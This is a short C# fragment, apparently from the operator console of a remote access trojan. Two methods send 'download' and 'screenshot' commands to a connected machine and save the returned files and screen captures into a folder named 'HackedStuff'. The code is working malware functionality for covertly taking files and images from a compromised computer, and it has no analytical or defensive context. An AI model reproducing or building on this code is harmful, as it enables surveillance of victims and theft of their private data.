private void download(string path, string filename) { String downloadpath = "E:\\HackedStuff"; byte[] buffer = ASCIIEncoding.ASCII.GetBytes("download " + path); accComm.GetStream().Write(buffer, 0, buffer.Length); FileReciever frec = new FileReciever(filename, downloadpath, progressBar1); Thread recThread = new Thread(frec.listen); recThread.Start(); }
private void screenshot() { DateTime now = DateTime.Now; String date = now.ToString(); date = date.Replace('.', ' '); date = date.Replace(':', ' '); byte[] buffer = ASCIIEncoding.ASCII.GetBytes("screenshot"); accComm.GetStream().Write(buffer, 0, buffer.Length); FileReciever fr = new FileReciever("screenshot - " + date + ".bmp", @"E:\HackedStuff\Screenshots", progressBar1); fr.listen(); Bitmap b = new Bitmap(@"E:\HackedStuff\Screenshots\" + "screenshot - " + date + ".bmp"); Screenshot screenshotForm = new Screenshot(b); screenshotForm.Show(); }